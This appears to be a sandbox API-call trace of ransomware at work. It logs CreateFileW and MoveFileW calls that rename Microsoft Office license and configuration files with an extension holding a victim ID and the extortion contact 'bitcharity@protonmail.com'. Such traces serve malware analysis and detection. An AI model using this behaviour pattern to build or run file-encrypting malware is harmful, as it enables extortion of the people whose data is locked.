[0253.674] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.674] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.674] CloseHandle (hObject=0x1280) returned 1 [0253.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-ul-oob.xrm-ms") returned 80 [0253.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-ul-oob.xrm-ms") returned 80 [0253.675] lstrlenW (lpString=".doc") returned 4 [0253.675] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.676] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.676] CloseHandle (hObject=0x1280) returned 1 [0253.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-ul-phn.xrm-ms") returned 80 [0253.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-ul-phn.xrm-ms") returned 80 [0253.676] lstrlenW (lpString=".doc") returned 4 [0253.677] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.677] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail2-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.677] CloseHandle (hObject=0x1280) returned 1 [0253.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-pl.xrm-ms") returned 77 [0253.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-pl.xrm-ms") returned 77 [0253.678] lstrlenW (lpString=".doc") returned 4 [0253.678] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.678] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail2-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.679] CloseHandle (hObject=0x1280) returned 1 [0253.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-ppd.xrm-ms") returned 78 [0253.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-ppd.xrm-ms") returned 78 [0253.679] lstrlenW (lpString=".doc") returned 4 [0253.680] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.680] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail2-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.680] CloseHandle (hObject=0x1280) returned 1 [0253.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-ul-oob.xrm-ms") returned 81 [0253.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail2-ul-oob.xrm-ms") returned 81 [0253.941] lstrlenW (lpString=".doc") returned 4 [0254.072] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.072] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmuiset.msi.16_accessmuiset.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\en-us\\accessmuiset.msi.16_accessmuiset.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.072] CloseHandle (hObject=0x1234) returned 1 [0254.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmuiset.msi.16_accessmuiset.mcxml") returned 89 [0254.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\accessmuiset.msi.16_accessmuiset.mcxml") returned 89 [0254.073] lstrlenW (lpString=".doc") returned 4 [0254.073] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.073] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_Common.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_common.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.074] CloseHandle (hObject=0x1234) returned 1 [0254.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_Common.mcxml") returned 85 [0254.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_Common.mcxml") returned 85 [0254.074] lstrlenW (lpString=".doc") returned 4 [0254.075] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.075] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_licensing.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_licensing.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.075] CloseHandle (hObject=0x1234) returned 1 [0254.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_licensing.mcxml") returned 88 [0254.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_licensing.mcxml") returned 88 [0254.076] lstrlenW (lpString=".doc") returned 4 [0254.076] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_mondoww.mcxml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_mondoww.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_mondoww.mcxml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0254.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_mondoww.mcxml") returned 86 [0254.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_mondoww.mcxml") returned 86 [0254.076] lstrlenW (lpString=".doc") returned 4 [0254.077] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.077] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_postcommon.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_postcommon.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.078] CloseHandle (hObject=0x1234) returned 1 [0254.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_postcommon.mcxml") returned 89 [0254.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_postcommon.mcxml") returned 89 [0254.078] lstrlenW (lpString=".doc") returned 4 [0254.079] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.079] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_PostCommon.Office.x-none.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office.x-none.msi.16_postcommon.office.x-none.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.079] CloseHandle (hObject=0x1234) returned 1 [0254.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_PostCommon.Office.x-none.mcxml") returned 103 [0254.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Office.x-none.msi.16_PostCommon.Office.x-none.mcxml") returned 103 [0254.079] lstrlenW (lpString=".doc") returned 4 [0254.080] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.080] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\office32ww.msi.16_crossbitness.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office32ww.msi.16_crossbitness.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.080] CloseHandle (hObject=0x1234) returned 1 [0254.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\office32ww.msi.16_crossbitness.mcxml") returned 88 [0254.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\office32ww.msi.16_crossbitness.mcxml") returned 88 [0254.081] lstrlenW (lpString=".doc") returned 4 [0254.082] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0254.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml") returned 86 [0254.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\office32ww.msi.16_office32ww.mcxml") returned 86 [0254.083] lstrlenW (lpString=".doc") returned 4 [0254.084] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.084] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OneNote.x-none.msi.16_mondoww.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\onenote.x-none.msi.16_mondoww.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.085] CloseHandle (hObject=0x1234) returned 1 [0254.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OneNote.x-none.msi.16_mondoww.mcxml") returned 87 [0254.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OneNote.x-none.msi.16_mondoww.mcxml") returned 87 [0254.085] lstrlenW (lpString=".doc") returned 4 [0254.086] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.086] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OneNote.x-none.msi.16_OneNote.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\onenote.x-none.msi.16_onenote.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.087] CloseHandle (hObject=0x1234) returned 1 [0254.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OneNote.x-none.msi.16_OneNote.mcxml") returned 87 [0254.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OneNote.x-none.msi.16_OneNote.mcxml") returned 87 [0254.088] lstrlenW (lpString=".doc") returned 4 [0254.089] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.089] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OSM.x-none.msi.16_mondoww.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\osm.x-none.msi.16_mondoww.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.089] CloseHandle (hObject=0x1234) returned 1 [0254.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OSM.x-none.msi.16_mondoww.mcxml") returned 83 [0254.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OSM.x-none.msi.16_mondoww.mcxml") returned 83 [0254.089] lstrlenW (lpString=".doc") returned 4 [0254.090] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.090] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OSMUX.x-none.msi.16_mondoww.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\osmux.x-none.msi.16_mondoww.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.090] CloseHandle (hObject=0x1234) returned 1 [0254.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OSMUX.x-none.msi.16_mondoww.mcxml") returned 85 [0254.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\OSMUX.x-none.msi.16_mondoww.mcxml") returned 85 [0254.091] lstrlenW (lpString=".doc") returned 4 [0254.092] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Outlook.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\outlook.x-none.msi.16_mondoww.mcxml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Outlook.x-none.msi.16_mondoww.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\outlook.x-none.msi.16_mondoww.mcxml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0254.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Outlook.x-none.msi.16_mondoww.mcxml") returned 87 [0254.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Outlook.x-none.msi.16_mondoww.mcxml") returned 87 [0254.092] lstrlenW (lpString=".doc") returned 4 [0254.093] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.093] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Outlook.x-none.msi.16_PostCommon.Outlook.x-none.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\outlook.x-none.msi.16_postcommon.outlook.x-none.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.093] CloseHandle (hObject=0x1234) returned 1 [0254.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Outlook.x-none.msi.16_PostCommon.Outlook.x-none.mcxml") returned 105 [0254.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Outlook.x-none.msi.16_PostCommon.Outlook.x-none.mcxml") returned 105 [0254.093] lstrlenW (lpString=".doc") returned 4 [0254.094] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\PowerPivot.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\powerpivot.x-none.msi.16_mondoww.mcxml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\PowerPivot.x-none.msi.16_mondoww.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\powerpivot.x-none.msi.16_mondoww.mcxml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0254.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\PowerPivot.x-none.msi.16_mondoww.mcxml") returned 90 [0254.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\PowerPivot.x-none.msi.16_mondoww.mcxml") returned 90 [0254.094] lstrlenW (lpString=".doc") returned 4 [0254.095] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.095] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\PowerPoint.x-none.msi.16_mondoww.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\powerpoint.x-none.msi.16_mondoww.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.095] CloseHandle (hObject=0x1234) returned 1 [0254.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\PowerPoint.x-none.msi.16_mondoww.mcxml") returned 90 [0254.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\PowerPoint.x-none.msi.16_mondoww.mcxml") returned 90 [0254.096] lstrlenW (lpString=".doc") returned 4 [0254.097] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.097] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Project.x-none.msi.16_mondoww.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\project.x-none.msi.16_mondoww.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.097] CloseHandle (hObject=0x1234) returned 1 [0254.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Project.x-none.msi.16_mondoww.mcxml") returned 87 [0254.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Project.x-none.msi.16_mondoww.mcxml") returned 87 [0254.097] lstrlenW (lpString=".doc") returned 4 [0254.098] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Publisher.x-none.msi.16_mondoww.mcxml" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\publisher.x-none.msi.16_mondoww.mcxml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Publisher.x-none.msi.16_mondoww.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\publisher.x-none.msi.16_mondoww.mcxml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0254.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Publisher.x-none.msi.16_mondoww.mcxml") returned 89 [0254.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Publisher.x-none.msi.16_mondoww.mcxml") returned 89 [0254.098] lstrlenW (lpString=".doc") returned 4 [0254.099] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.099] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0254.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Visio.x-none.msi.16_mondoww.mcxml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\mcxml\\x-none\\visio.x-none.msi.16_mondoww.mcxml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.100] CloseHandle (hObject=0x1234) returned 1 [0254.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\Visio.x-none.msi.16_mondoww.mcxml") returned 85 [0254.100] lstrlenW 